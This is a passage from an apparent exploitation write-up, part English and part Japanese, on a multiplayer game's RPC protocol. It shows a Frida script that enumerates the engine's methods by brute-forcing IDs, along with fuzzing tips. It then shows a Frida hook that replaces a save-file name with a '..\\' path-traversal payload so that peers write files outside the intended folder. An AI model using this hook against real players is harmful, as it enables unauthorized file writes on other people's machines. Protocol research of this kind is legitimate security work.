const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Running `frida -l explore-surface.js Addon.exe` emitted the complete RPC map, including the `Player` object (`0x7400000`) and its file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, and `OnCancelSendFile`. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.

### ヒント

- エンジン自身のログ用バッファ（この場合は `WString::Format`）を使い、未文書化の文字列エンコーディングを再実装しないようにする。
- `Flags` をダンプして、fuzzing を試みる前に信頼性機能（ACK、resend requests）を特定する；カスタムの UDP スタックはしばしば不正なパケットを黙って破棄する。
- 列挙したマップを保存する — それは fuzzing コーパスとして機能し、どのオブジェクトがファイルシステム、ワールド状態、あるいはゲーム内スクリプトを操作しているかが明白になる。

## ファイル転送RPCの悪用

マルチプレイヤーのセーブ同期は2パケットのハンドシェイクを使用していた：

1. `OnSendFileInit` — クライアントが受信したペイロードを保存する際に使用すべき UTF‑16 のファイル名を運ぶ。
2. `OnSendFileData` — 固定サイズのチャンクで生のファイル内容をストリーミングする。

サーバーが送信直前に `ByteStreamWriteString()` でファイル名をシリアライズするため、Frida hook によってパケットサイズを維持したままファイル名ポインタを traversal payload に差し替えることができる。

<details>
<summary>ファイル名差し替え</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});